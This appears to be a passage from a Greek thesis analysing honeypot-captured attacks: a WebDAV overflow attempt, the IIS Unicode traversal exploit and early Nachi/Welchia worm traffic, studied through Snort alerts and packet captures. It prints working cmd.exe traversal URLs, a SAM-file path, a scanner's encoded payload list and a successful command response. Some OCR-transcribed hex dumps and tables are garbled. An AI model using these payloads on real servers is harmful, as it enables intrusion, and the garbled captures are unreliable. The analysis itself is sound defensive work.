Στην παραπάνω εικόνα μπορούμε να διακρίνουμε ότι μετά την webDAV εντολή SEARCH ακολουθεί ένα μεγάλο string το οποίο θα έπρεπε να ήταν ένα όνομα αρχείου . Αν ελέγξουμε το

περιεχόμενο όλης της σύνδεσης με Follow TCP Stream, θα πάρουμε το αποτέλεσμα της εικόνας 3-

Contents of TCP stream (incomplete) <2>	
VVVVV20V 11 11 11 11 11 11 11 11 11 11 11 11 11	
00000390 11 11 11 11 11 11 11 11 11 11 11 11 11	
000003B0 11 11 11 11 11 11 11 11 11 11 11 11 11	
000003E0 11 11 11 11 11 11 11 11 11 11 11 11 11	
000003F0 11 11 11 11 11 11 11 11 11 11 11 11 11	
00000400 11 11 11 11 11 11 11 11 11 11 11 11 1	
00000430 11 11 11 11 11 11 11 11 11 11 11 11 11	
00000440 11 11 11 11 11 11 11 11 11 11 11 11 11	
00000450 11 11 11 11 11 11 11 11 11 11 11 11 11	
00000460 11 11 11 11 11 11 11 11 11 11 11 11 11	
00000470 11 11 11 11 11 11 11 11 11 11 11 11 11	
00000480 11 11 11 11 11 11 11 11 11 11 11 11 11	
00000490 11 11 11 11 11 11 11 11 11 11 11 11 11	
000004A0 11 11 11 11 11 11 11 11 11 11 11 11 11	
000004B0 11 11 11 11 11 11 11 11 11 11 11 11 11	
000004C0 11 11 11 11 11 11 11 11 11 11 11 11 11	
000004D0 11 11 11 11 11 11 11 11 11 11 11 11 11	¥
Entire conversation (65756 bytes)	lose

Εικόνα 3-5

Το μέγεθος του string που χρησιμοποιείται για όνομα αρχείου (65756 bytes) ξεπερνάει το επιτρεπτό όριο των 65535 bytes.

Αν συνεχίσουμε την αναζήτηση θα δούμε ότι υπάρχουν και άλλες περιπτώσεις όπως η παραπάνω, που σημαίνει ότι έγινε πολλές φορές η προσπάθεια για overflow.

To alert που παρήγαγε το snort για αυτή την επίθεση είναι το εξής :

[**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web application] [Priority: 2] 11/26-18:19:03.988768 80.132.90.203:4776 -> 192.168.0.2:80 TCP TTL:115 TOS:0x80 ID:18477 IpLen:20 DgmLen:1492 DF ***A**** Seq: 0xD831D25C Ack: 0x94560D88 Win: 0x4410 TcpLen: 20 [Xref => http://www.whitehats.com/info/IDS474]

Πίνακας 3-20

Νωρίτερα σε αυτό το κεφάλαιο είδαμε ότι alert με webdav search access συναντήσαμε και στον πίνακα 3-14 (σε πιο περιγραφική μορφή snort_fast), αλλά δώσαμε περισσότερη βαρύτητα στο επόμενο alert για το nessus scan που του έδινε το **snort** priority 1, ενώ στο συγκεκριμένο είχε priority 2, ενώ το URL του <u>www.whitehats.com</u> μας δίνει την πληροφορία ότι πρόκειται για μία αναγνώριση από τον επιτιθέμενο για το αν υπάρχει διαθέσιμο μηχάνημα για να παραβιάσει , όπως βλέπουμε στον πίνακα 3-21, ενώ, όπως είδαμε, πρόκειται για κάτι παραπάνω. Πρόκειται για προσοάθεια εκτέλεσης κακόβουλου κώδικα με εκμετάλλευση πιθανής ευπάθειας στον ΙΙS.

IDS474 "WEB-WEBDAV-SEARCH"

Summary

This event indicates that a remote user has attempted to use the SEARCH directive to retreive a list of directories on the web server. This may allow an attacker to gain knowledge about the web server that could be useful in an attack.

How Specific

This event is specific to a vulnerability, but may have been caused by any of several possible exploits. Signatures used to detect this event are specific and consider the packet payload.

Trusting The Source IP Address

The packet that caused this event is normally a part of an established TCP session, indicating that the source IP address has not been spoofed. If you are using a firewall that supports stateful inspection, and are not vulnerable to sequence number prediction attacks, then you can be fairly certain that the source IP address of the event is accurate. It has been noted that the intruder is likely to expect or desire a response to their packets, so it may be likely that the source IP address is not spoofed.

<u>Protocol details...</u> (ip header, tcp/udp/icmp header, payload data) <u>Research details...</u> (packet captures, background, credits) <u>IDS Signatures...</u> (dynamically generated signatures for free and commercial IDS)

Πίνακας 3-21 - whitehats.com

Microsoft IIS Unicode exploit

Το Unidode (<u>http://www.unicode.org/</u>) είναι μία προσπάθεια για υλοποίηση μια λύσης καταγραφής σε ηλεκτρονική μορφή, των γραμματικών χαρακτήρων όλων των γλωσσών του κόσμου, θεωρητικά, επιτρέποντας 65000 χαρακτήρες συνολικά. Υπάρχουν δύο επίσημες προσπάθειες ενός ενιαίου συνόλου χαρακτήρων. Η προσπάθεια ISO 10646 project του διεθνή οργανισμού τυποποιήσεων (International Organization for Standardization) και η άλλη είναι το unicode project το οποίο οργανώνεται από μια διεθνή συνεργασία παραγωγών πολύ-λεξικών εφαρμογών. Αυτοί κάνουν μια προσπάθεια να δημιουργηθεί ένα μοναδικό πίνακα χαρακτήρων.

To Unicode χρησιμοποιούνται από τον Microsoft Internet Information Server (IIS) 4.0 και 5.0. Αυτό έγινε για να αναγνωρίζονται χαρακτήρες από τους web server οι οποίοι δεν είναι Αγγλικοί. **To IIS Unicode exploit** εκμεταλλεύεται τα χαρακτηριστικά της κωδικοποίησης Unicode, για να επιτρέπει στους επιτιθέμενους να εκτελέσουν command line εντολές στον web server.

Ένα μήνυμα που του snort που είναι ικανό να μας εστιάσει την προσοχή είναι το ακόλουθο :

[**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attack] [Priority: 1] 07/14-23:34:14.074447 62.161.213.133:3637 -> 192.168.2:80 TCP TTL:107 TOS:0x80 ID:11655 IpLen:20 DgmLen:131 DF ***AP*** Seq: 0x1EA1A6A5 Ack: 0xD631333D Win: 0x2238 TcpLen: 20

Πίνακας 3-22 - snort alert

To alert αυτό μας προειδοποιεί για πρόσβαση στο command line εργαλείο των windows 2000 cmd.exe, μέσα από τον Microsoft Internet Information Server (IIS).

Αναζητώντας την πληροφορία μέσα στο binary αρχείο που έχουμε κρατήσει για την συγκεκριμένη ημερομηνία θα πάμε να βρούμε την συγκεκριμένη σύνδεση που έκανε το **snort** να παράγει αυτό το

μήνυμα. Χρησιμοποιώντας λοιπόν σαν φίλτρα την IP και την πόρτα του επιτιθέμενου, παίρνουμε την παρακάτω πληροφορία στην εικόνα 3-6.

) B X			XØ	
lo., Time	Source	Destination	Protoco	ol Info
1 02:34:14.90 2 02:34:14.98 3 02:34:15.05	1502 62,161,213,133 1732 192,168.0.2 9486 62,161,213,133	192.168.0,2 62.161.213.133 192.168.0,2	TCP TCP TCP	3643 > http [SVN] Seq=513911311 Ack=0 Win=8192 Len=0 MSS=1460 http > 3643 [SVN, ACK] Seq=3594017127 Ack=513911312 Win=17520 Len=0 M 3643 > http [ACK] Seq=513911312 Ack=3594017128 Win=8760 Len=0
4 02:34:15.08	5461 62,161,213,133	192.168.0.2	HTTP	HEAD /scripts/.,2252f.,/winnt/system52/cmd.exe?/c+dir+c:\ HTTP/1.0
5 02:34:15.07 6 02:34:15.06 7 02:34:15.16 8 02:34:15.16 9 02:34:15.16	9630 192.168.0.2 3796 192.168.0.2 3478 62.161.213.133 3781 192.168.0.2 36514 62.161.213.133	62,161,213,133 62,161,213,133 192,168,0,2 62,161,213,133 192,168,0,2	HTTP TCP TCP TCP TCP	HTTP/1,1 200 0K http > 3643 [FIN. ACK] Seq=3594017319 Ack=513911402 Win=17430 Len=0 3643 > http [FIN. ACK] Seq=513911402 Ack=3594017319 Win=8689 Len=0 http > 3643 [ACK] Seq=3594017320 Ack=513911403 Win=17430 Len=0 3643 > http [ACK] Seq=513911403 Ack=3594017320 Win=8569 Len=0
Ethernet II. Src: Internet Protocol	00:0c:30:29:d5:80, Dst , Src Addr: 62.161.213.	: 00:04:e2:33:84:16 133 (62:161.213.133),	Dst Addr; 1	92,168,0,2 (192,168,0,2)
Ethernet II, Src: Internet Protocol Transmission Cont Hypertext Transfe = HERD /scriets	: 00:0c:30:29:d5:80, Dat 1, Sre Addr: 62.161.213, rel Protocol, Sre Part; r Protocol 2, 2522, vuinnt/cystem3	: 00:04:e2:33:B4:16 133 (62.161.213.133), 3643 (3643), Dst Port 2/cmd.exe7/ctdirtc)	Dst Addr: 1 ; http (80)	92.168.0.2 (192.168.0.2) , Seq: 513311312, Ack; 3594017128, Len; 90
Ethernet II, Src: Internet Protocol Transmission Cont Hypertext Transfe HEAD /scripts Request He	: 00:0c:30:29:d5:80, Dst I, Sre Addr: 62.161.213, rol Protocol, Sre Part; r Protocol 	: 00:04:e2:33:84:16 133 (62.161.213.133), 3643 (3643), Dst Port 2/cmd.exe7/ctdirtc:\	Dst Addr: 1 : http (80) http/1,0\r\	92.168.0.2 (192.168.0.2) , Seq: 513911312, Ack: 3594017128, Len: 90
Ethernet II, Src: Internet Protocol Transmission Cont Hypertext Transfe HEAD /scripts Request He Host; 192.168 Vr/n	: 00:0c:30:29:d5:80, Dst L, Sre Addr: 62.161.213, rol Protocol, Sre Part: r Protocol 4.42526, 400001/295260 thod: HERD LO.2Vr/m	: 00:04:e2:33:84:16 133 (62.161.213.133), 3643 (3643), Dst Port 2/cmd.exe7/ctdirtc:\1	Dst Addr: 1 : http (80)	92.168.0.2 (192.168.0.2) , Seq: 513911312, Ack: 3594017128, Len: 90
Ethernet II, Src: Internet Protocol Transwission Conf Hypertext Transfi = HEAD /scriets Request He Host; 192.166 \r\n	: 00;0c:30;29;d5;80. Dat 1. Sne Addr; 62,161.213. rol Protocol. Sne Port; ar Protocol 4. 2527. (Winnt/System thod: HEAD 1.0.2'vr\m	: 00:04:e2:33:84:16 133 (62.161.213.133), 3643 (3643), Dst Port 2/cmd.exe7/ctdintc:\ f	Dst Addr; 1 ; http (BO)	92.168.0.2 (192.168.0.2)), Seq: 513311312, Ack: 3594017128, Len: 90
Ethernet II, Src: Internet Protocol Transmission Cont Hypertext Transfr BREAD /scripts Request He Host; 192.166 VrVn 30 22 38 6b 6c 0	: 00:0c:30:29:d5:80, Dat 1, Sre Addr: 62,161.213, rol Protocol, Sre Part: r Protocol /, 2527, //winnt/system thed: HEAD 1.0,2'r'\n 0 00 48 45 41 44 20 2f	: 00:04:e2:33:B4:16 133 (62.161.213.133), 3645 (3643), Det Port 2/cmd.exe?/ctdintc:\ 73 63 72 68%k1]	Dst Addr; 1 ; http (BO) HTTP/1,0VrV	92.168.0.2 (192.168.0.2) , Seq: 513911312, Ack: 3594017128, Len: 90

Εικόνα 3-6 – Unicode Προσπάθεια

Στην εικόνα παρατηρούμε ότι επιτυγχάνεται, αρχικά, μια σύνδεση στον IIS στην πόρτα 80. Στην συνέχεια αποστέλνεται HTTP πακέτο (γραμμή 4) με HTTP Header :

HEAD /scripts/..%252f../winnt/system32/cmd.exe?/c+dir+c:\HTTP/1.0

Αυτό ουσιαστικά που ακολουθεί μετά το HEAD είναι κάτι που καλείται από τον υποκατάλογο scripts του IIS. Δηλαδή είναι το υπόλοιπο κομμάτι του URL, που ακολουθεί μετά το όνομα του web Server. Αν βλέπαμε δηλαδή την εντολή που γράφτηκε στην γραμμή διευθύνσεων του browser θα ήταν κάπως έτσι

http://192.168.0.2/scripts/..%252f../winnt/system32/cmd.exe?/c+dir+c:\

Αυτό είναι μια προσπάθεια εκμετάλλευσης ευπάθειας του Microsoft IIS με σκοπό να εκτελεστούν command line εντολές, χρησιμοποιώντας Unicode χαρακτήρες.

Τι σχέση έχουν όμως οι unicode χαρακτήρες με την πρόσβαση στο shell των windows;

Η απάντηση σε αυτό το ερώτημα θα την μάθουμε εξετάζοντας μια παλαιότερη ευπάθεια, η ονομαζόμενη 'Επίθεση Dot Dot'. Όταν χρησιμοποιούμε τον IIS για να φιλοξενήσουμε μία ιστοσελίδα αυτή πρέπει να τοποθετηθεί στο directory webroot (wwwroot στον IIS).Όταν κάποιος απομακρυσμένος χρήστης πληκτρολογήσει απλά το όνομα του web server ο IIS φροντίζει να προβάλει την ιστοσελίδα που έχει οριστεί σαν προκαθορισμένη μέσα στο webroot κατάλογο. Μέσα στον κατάλογο webroot μπορεί να υπάρχουν και άλλοι υποκατάλογοι. Για να αντλήσουμε πληροφορίες μέσα από κάποιον υποκατάλογο, απλά μετά το όνομα η την IP του web server, γράφουμε '/' και μετά το όνομα του υποκαταλόγου για να μπούμε σε αυτόν. Όταν γράφουμε '../' πηγαίνουμε ένα κατάλογο πάνω από αυτόν που είμαστε, αυτό εκμεταλλεύεται η επίθεση Dot Dot για να βγει από τον webroot κατάλογο και να μπει για παράδειγμα στον κατάλογο των windows.

http://www.exanpme.com/../../winnt/repair/sam.

To IIS Unicode **exploit** χρησιμοποιεί το http πρωτόκολλο και περίπλοκα URLs για να μπαίνει σε καταλόγους και να εκτελεί εντολές στους ευπαθείς web servers, όπως και με την επίθεση 'Dot Dot'. To Unicode **exploit**, χρησιμοποιεί unicode χαρακτήρες για να παραστήσουν το directory αντικαταστώντας το '/', με αυτόν τον τρόπο αποφεύγονται οι έλεγχοι που κάνει στο URL ο server και κανονικά εμποδίζουν την προγραμμάτων εκτός webroot.

Έτσι λοιπόν αν αναλύσουμε την γραμμή που εκτέλεσε ο επιτιθέμενος, βλέπουμε ότι δίνει την IP του μηχανήματος, http://192.168.0.2/ και μετά

'/scripts/..%252f../winnt/system32/cmd.exe?/c+dir+c:\' όπου θα μπορούσαμε να το μεταφράσουμε το %252f σε '/', οπότε θα είχαμε '/scripts/../../winnt/system32/cmd.exe?/c+dir+c:\'

η εντολή θα μας πήγαινε δυο IIS Unicode **exploit** καταλόγους πίσω από τον scripts, δηλαδή στο root κατάλογο και μετά θα εκτελούσε το cmd.exe από winnt/system32/ με παραμέτρους dir και c:\.

Βέβαια αυτή η εντολή δεν εκτελέστηκε ποτέ διότι ο root κατάλογος είναι 3 καταλόγους πάνω και όχι δύο (c:\inetpub\wwwroot\scripts).

Κοιτάζοντας όμως τα **snort** logs θα δούμε ότι δεν υπήρξε μόνο μια προσπάθεια για να εκτελεστεί shell εντολή με εκμετάλλευση του IIS Unicode **exploit** όπως βλέπουμε στον πίνακα 3-23.

07/14-23:34:13.239651 [**] [1:384:4] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 62.161.213.133 -> 192.168.0.1 07/14-23:34:13.280561 [**] [1:384:4] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 62.161.213.133 -> 192.168.0.2 07/14-23:34:14.074447 [**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attac k] [Priority: 1] {TCP} 62.161.213.133:3637 -> 192.168.0.2:80 07/14-23:34:14.335387 [**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attac k] [Priority: 1] {TCP} 62.161.213.133:3638 -> 192.168.0.2:80 07/14-23:34:14.507632 [**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attac k] [Priority: 1] {TCP} 62.161.213.133:3640 -> 192.168.0.2:80 07/14-23:34:14.679531 [**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attac k] [Priority: 1] {TCP} 62.161.213.133:3641 -> 192.168.0.2:80 07/14-23:34:14.890868 [**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attac k] [Priority: 1] {TCP} 62.161.213.133:3642 -> 192.168.0.2:80 07/14-23:34:15.065461 [**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attac k] [Priority: 1] {TCP} 62.161.213.133:3643 -> 192.168.0.2:80 07/14-23:34:15.079690 [**] [1:1292:4] ATTACK RESPONSES http dir listing [**] [Classification: Potential] y Bad Traffic] [Priority: 2] {TCP} 192.168.0.2:80 -> 62.161.213.133:3643

Πίνακας 3-23

Υπάρχουν περίπου 340 alerts για παρόμοιες προσπάθειες από τις οποίες μερικές πετυχαίνουν και σαν αποτέλεσμα, το snort παράγει alerts όπως το τελευταίο από τον παραπάνω πίνακα, ενώ άλλες αποτυγχάνουν.

Αν παρατηρήσουμε μία προσπάθεια για πρόσβαση στο cmd.exe για την οποία έχει παραχθεί από το snort, alert τύπου ATTACK RESPONSES και έχει δυο φορές τον χαρακτήρα '/' σε unicode, θα περιμέναμε η επίθεση να πετύχει τον σκοπό της. Πράγματι εστιάζοντας την σύνδεση με πόρτα 3670 του επιτιθέμενου, θα δούμε στους ASCII χαρακτήρες του payload να μεταφέρονται τα παρακάτω στην εικόνα 3-7

Contents of TCP stream	
GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0. Host 192.168.0.2.	
HTTP/1.1 200 OK. Server: Microsoft-IIS/5.0. Date: Mon, 14 Jul 2003 23:27:42 GMT. Content-Type: application/octet-stream. Volume in drive C has no label Volume Serial Number is 789F-0403.	
02/26/2003 12:05a <dir> Documents and Settings. 06/13/2003 02:00a <dir> drivers. 04/11/2003 12:16a <dir> Inetpub. 04/14/2003 09:28p <dir> MSSQL7. 04/11/2003 12:15a <dir> Program Files. 06/12/2003 02:32a <dir> test. 07/04/2003 12:06a <dir> WINNT. 0 File(s) 0 bytes. 7 Dir(s) 1,331,609,600 bytes free.</dir></dir></dir></dir></dir></dir></dir>	
Entire conversation (755 bytes)	9ήκευση ως Filter out this stream ΧΚλείσιμο



Εδώ φαίνεται ότι η εκτέλεση της εντολής dir c:\ μέσω του πρωτοκόλλου http και πήρε το παραπάνω αποτέλεσμα που δείχνει τα περιεχόμενα του σκληρού δίσκου.

Υπάρχουν και άλλες όμοιες συνδέσεις, χωρίς να γίνεται κάποια παραπάνω εκμετάλλευση, φαίνεται δηλαδή σαν να γίνεται μόνο αναζήτηση για να βρεθεί σε ποια unicodes ανταποκρίνεται το **honeypot**.

Παρατηρώντας τα SESSIONS μέσα στον υποκατάλογο που δημιούργησε το **snort** για την συγκεκριμένη IP βλέπουμε ότι εκτός από συνδέσεις προς πόρτα 80 του **honeypot**, εμφανίζεται και προσπάθεια για σύνδεση στην πόρτα 57, όπως βλέπουμε στον πίνακα 3-24

-rw	1 galex	galex	0 Ιούλ 15 2003 SESSION:3634-80
-rw	1 galex	galex	323 Ιούλ 15 2003 SESSION:3635-80
-rw	1 galex	galex	138 Ιούλ 15 2003 SESSION:3637-80
-rw	1 galex	galex	138 Ιούλ 15 2003 SESSION:3638-80
-rw	1 galex	galex	138 Ιούλ 15 2003 SESSION:3640-80
-rw	1 galex	galex	138 Ιούλ 15 2003 SESSION:3641-80
-rw	1 galex	galex	144 Ιούλ 15 2003 SESSION:3642-80
-rw	1 galex	galex	0 Ιούλ 15 2003 SESSION:3643-80
-rw	1 galex	galex	0 Ιούλ 15 2003 SESSION:3644-57
-rw	1 galex	galex	471 Ιούλ 15 2003 SESSION:3645-80
-rw	1 galex	galex	1082 Ιούλ 15 2003 SESSION:3647-80
-rw	1 galex	galex	140 Ιούλ 15 2003 SESSION:3648-80
-rw	1 galex	galex	140 Ιούλ 15 2003 SESSION:3650-80
-rw	1 galex	galex	140 Ιούλ 15 2003 SESSION:3651-80
-rw	1 galex	galex	144 Ιούλ 15 2003 SESSION:3652-80
-rw	1 galex	galex	144 Ιούλ 15 2003 SESSION:3653-80
L			

Πίνακας 3-24

Αναζητώντας λοιπόν, πληροφορίες για την πόρτα 57, και την σχέση της με το πιθανό scan για IIS Unicode **exploit**, ανακαλύπτουμε ότι την πόρτα αυτή την χρησιμοποιεί το **FXScanner** το οποίο είναι ένας scanner που αναζητά μηχανήματα που έχουν ευπαθή IIS ή FTP server. Το χαρακτηριστικό με αυτού του scanner είναι ότι στέλνει πρώτα ICMP πακέτα και εκτός από αναζήτηση για FTP και IIS web server, (TCP 21 και TCP 80) προσπαθεί να συνδεθεί με την πόρτα 57. Σύμφωνα με τον δημιουργό του FXScanner, η πόρτα 57 δεν χρησιμοποιείται από κάτι, έτσι ανάλογα, με την ανταπόκριση αυτής της πόρτας μπορεί να εντοπίσει αν το μηχάνημα στόχος βρίσκεται πίσω από firewall ή όχι (<u>http://www.mynetwatchman.com/kb/security/ports/6/57.htm</u>).

Οπότε, παρατηρώντας τα δύο πρώτα alert στον πίνακα 3-25 για ICMP δραστηριότητα, και την προσπάθεια για σύνδεση στην πόρτα 57, θα αναρωτιόμασταν γιατί δεν υπάρχουν connections προς την πόρτα 21, για να πειστούμε ότι πρόκειται για τον FXScanner. Απλά στο FXScanner υπάρχουν επιλογές για την αναζήτηση IIS ή FTP ευπάθειας ή και για τα δύο.

Εικόνα 3-8 - GUI εργαλείο FXScanner

🔿 FX Scanner Beta 3	
💿 Start	The Pause O Stop
Scan	IIS Unicode Options
Options	
ĩ	Log free Disk Space Check ASP exploit Check Remote buffer overflow
General	
IIS Unicode FTP Proxy / Firewall	/MSADC/root.exe /PBServer/.%%35%63.%%35%63.%%35%63winnt/system32/cmd.exe /PBServer/.%%35c.%%35c.%%35cwinnt/system32/cmd.exe /PBServer/.%25%c3.%25%c3.%25%35%63.%25%35%63winnt/system32/cmd.exe /PBServer/.%25%c3.%%35%c3.%%35%63winnt/system32/cmd.exe /Rpc/.%%35%c3.%%35c.%%35cwinnt/system32/cmd.exe /Rpc/.%%35%c3.%25%35%63.%25%35%63.winnt/system32/cmd.exe /Rpc/.%25%c.%255c.%255c.%255cwinnt/system32/cmd.exe /Rpc/.%25%c3.%25%c3.%25%c3%c3.%%35%c3.%%%35%c3.%%%35%c3.%%%35%c3.%%%%c3.%%%%%%%%%%
	Log file
	C:\Program Files\Fx Scanner\http.txt
0 Others	Exclude non unicode vulnerable servers Exclude Invalid disk space
Threads : 0	Elapsed Time : 0 Ips/ sec : 0

Τα unicode **exploit**s που δοκιμάζονται από το FX scanner όπως φαίνεται στην εικόνα 3-8, αντλούνται από ένα text αρχείο που ονομάζεται unicode.txt.

Μια ενδιαφέρουσα παρατήρηση είναι ότι στα SESSIONS που έχουμε καταγράψει, υπάρχουν κάποιες συνδέσεις που ο επιτιθέμενος προσπαθεί να εντοπίσει κατευθείαν ένα αρχείο cmd1.exe μέσα σε default υποκαταλόγους του wwwroot. Προφανώς έχει προσθέσει κάποιες επιπλέον γραμμές στο αρχείο unicode.txt του FXScanner για να εντοπίσει κάποια μηχανήματα που έχει παραβιάσει στο παρελθόν και έχει τοποθετήσει ένα αντίγραφο του cmd.exe σε κάποιον από αυτούς τους υποκαταλόγους. Ένα τέτοιο παράδειγμα είναι αυτό που βλέπουμε στον πίνακα 3-25

Πίνακας 3-25

HEAD /adsamples/cmd1.exe?/c+dir+c:\HTTP/1.0 Host: 192.168.0.2

HTTP/1.1 404 Object Not Found Server: Microsoft-IIS/5.0 Date: Mon, 14 Jul 2003 23:29:00 GMT Content-Length: 3252 Content-Type: text/html

HEAD /adsamples/cmd1.exe?/c+dir+c:\HTTP/1.0 Host: 192.168.0.2

Nachi ý Welchia worm

Παρακολουθώντας τα πιο ενδιαφέροντα alerts, η προσοχή μας εστιάστηκε σε κάποιες εξωτερικές συνδέσεις που πραγματοποιήθηκαν από το ένα **honeypot** προς εξωτερική διεύθυνση πίνακας 3-26

Aug 29 12:55:12 bilem3 kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth2 SRC=192.168.0.2 DST=143.233.183.15 LEN=48 TOS=0x00 PR EC=0x00 TTL=128 ID=359 DF PROTO=TCP SPT=1034 DPT=707 WINDOW=16384 RES=0x00 SYN URGP=0 Aug 29 12:55:13 bilem3 kernel: OUTBOUND CONN UDP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth2 SRC=192.168.0.2 DST=143.233.183.15 LEN=48 TOS=0x00 PR EC=0x00 TTL=128 ID=370 PROTO=UDP SPT=1035 DPT=69 LEN=28 Aug 29 12:55:14 bilem3 kernel: OUTBOUND CONN UDP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth2 SRC=192.168.0.2 DST=143.233.183.15 LEN=48 TOS=0x00 PR EC=0x00 TTL=128 ID=370 ROTO=UDP SPT=1036 DPT=69 LEN=28

Πίνακας 3-26

Μία σύνδεση TCP προς πόρτα 707 και δύο UDP συνδέσεις προς πόρτα 69, Εξωτερικής IP διεύθυνσης, είναι αρκετές για να μας παρακινήσουν να ελέγξουμε την δραστηριότητα που έχει το **honeypot** με αυτή την εξωτερική IP.

smort.log.10	179435679 - E	therea	1			_			(P)(D)
Elle Edit	View Cap	ture	Analyze He	ip .					
AB	X	E.		0 18	In	K BB	6		
		E auto		- Dort	1001	rtan o	Brotonal	late	
1 15.0	5 55,40 000040	500rc	e 17 407 45	200	see o	40 C	1000001	The Army second	
2 15:5	55:12,902540 55:12,902120	145,25	60.0.t	192.	168.0,	1	1CHP	Echo (ping) request	
2 16.0	5+12 909727	143 22	12 192 15	192.	169.0.	1.	TCP	2199 S 125 [SWI] Secon Arken Minet6294 Level MSSc1460	
4 15.0	5:12 908978	192.1	68.0.1	143.3	22, 193	15	TCP	[TEP_Zecollindou] 135 > 3199 [RST_00X] Secol Octat Minat Leval	
5 15:5	5:12,911311	143,23	3,183,15	192.	168.0.	2	ICMP	Echo (ping) request	_
6 15:5	55:12,911667	192.1	68.0.2	145.3	233, 183	.15	JCMP	Echo (ping) reply	
7 15:5	55:12,918336	143.23	3,183,15	192.	168.0.	2	TCP	3200 > 135 [SVN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1460	
8 15:5	55:12,918509	192.1	68.0.2	143.3	233,103	.15	TCP	135 > 3200 (SVW, ACK) Seg=0 Ack=1 Win=17520 Len=0 MSS=1460	
9 15;5	55:12,924834	143,23	3,183,15	192.	168.0.	2	TCP	3200 > 135 [ADK] Seq=1 Ack=1 Win=17520 Len=0	
10 15;2	55;12,924968	143,23	3,183,15	192.	168.0.	2	DCERPC	Bind; call_id; 127 UUED; 000001a0-0000-0000-0000-00000000048 ver 0.0	
11 15;9	95;12,926969	192.1	68.0.2	143.3	233,183	,15	DCERPC	Bind_ack; call_id; 127 accept max_xmit; 5840 max_recv; 5840	
12 15:5	55:12,934576	143.23	3.183.15	192.	168.0.	2	DCERPC	Request; call_id: 229 oprum: 4 ctx_id: 1	
13 15:5	5;12,934535	143.23	3,183,15	192.	168.0.	2	TCP	3200 > 135 (PSH, 40K) Sect1533 Acka61 Mine17460 Leni244	
14 15:5	55:12,936204	192.1	68.0.2	143.2	233, 183	.15	TCP	135 > 3200 (ADK) Seq=61 Ack=1777 Win=17520 Len=0	
15 15:5	55:12,978590	192.1	68.0.2	143.3	233,183	.15	TCP	1034 > 707 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1460	
16 15;9	55;12,981794	143,23	3,183,15	192.	168.0.	2	TCP	707 > 1034 [SYN, ACK] Seq=0 Ack=1 Win=17520 Len=0 MSS=1460	
17 15;3	36;12,382124	192.1	68.0.2	145,2	135,183	,15	TCP	1034 > 707 [RDK] Seq=1 Rck=1 01n=17520 Len=0	-
⊞ Internet ⊞ Transmissi Bata (244	Protocol, Srv ion Control H bytes)	: Addr: Protoco	: 143,253,185. sl, Src Port:	,15 (143, 3200 (33	233,18 300), D	s.15), Dst st Port; 1	. Addr: 19 35 (135),	2.168.0.2 (192.168.0.2) Seq: 1933, Ack: 61, ien: 244	
<									>
0000 00 04	e2 33 84 16	00 0c	30 29 d5 80	08 00 45	00)E.		16
0010 01 ic	32 Fc 40 00	79 06	ab Fb BF e9	b7 Of 8f	e9 .	,2.8.9			1
0020 45 02	0c 80 00 87	40 1c	de d2 df 89	ae d3 50	18 H	····· · ·	P.		
0030 44 34	8e 14 00 00	26 96	F3 89 ce ca	66 ce 61	ca 1	4	f.a.		
0040 65 Ce	65 C3 65 CE	70 aa 39 75	59 55 10 59 77 as 59 5s	60 60 68 71 95 88	CD 1	W 21 w	V70 60		
0060 66 de	fc ed c9 eb	f6 fa	d8 fd fd eb	fo ea ea	99 6				
0070 da eb	fc f8 ed fc	c9 eb	F6 Fa Fc ea	ea d0 99	do .				
0000 e1 f0	ed cd f1 eb	fc f8	Fd 99 d5 F6	f8 fd d5	f0 ,				
0000 tb eb	18 eb e0 d8	33 ee	58 ab co as	ND 33 08	C.9				
0060 99 fa	f5 f6 ea fc	ea f5	Fa f2 fc ed	99 00 Se	00 /		11111		
00c0 43 00	24 00 5c 00	31 00	32 00 33 00	34 00 35	00 0	.5. \.1. 2	3.4.5.		
00:00 36 00	31 00 31 00	31 00	31 00 31 00	31 00 31	00 6	.1.1.1. 1	.1.1.1.		1
00e0 31 00	31 00 31 00	31 00 62 00	31 00 31 00	31 00 31	00 1	.1.1.1. 1	.1.1.1.		
0100 00 00	20 00 00 00	30 00	24 00 00 00	00 00 89	20	.u.o.c		K)	
		-1.11		11.11.00					1.
Filter								▼ Reset Apply File: snort log:1079435679	

Εικόνα 3-9

Στην εικόνα 3-9, μπορούμε να δούμε τα πρώτα 17 πακέτα που αντάλλαξαν το **honeypot** με την επιτιθέμενη IP.

Στα δύο πρώτα πακέτα βλέπουμε να γίνεται ένα ping, και στην συνέχεια ο επιτιθέμενος προσπαθεί να πετύχει σύνδεση στην πόρτα 135/TCP του **honeypot**. Την πρώτη φορά δεν πετυχαίνει και προχωράει στην επόμενη IP διεύθυνση, η οποία και ανταποκρίνεται στο SYN πακέτο. Ο χρόνος που έγινε η εναλλαγή από το ένα **honeypot** στο άλλο δεν ξεπερνάει το ένα δευτερόλεπτο, οπότε μπορούμε να φανταστούμε ότι είναι κάποιο αυτοματοποιημένο σύστημα αναζήτησης μηχανημάτων που ακούνε στην πόρτα 135.

Η TCP port 135, είναι πόρτα που ακούει η υπηρεσία RPC των windows.

RPC (Remote Procedure Call), είναι ένα πρωτόκολλο, το οποίο παρέχει ένα μηχανισμό με τον οποίο εφαρμογές από έναν υπολογιστή μπορούν να καλούν ρουτίνες (procedures), από απομακρυσμένους υπολογιστές.

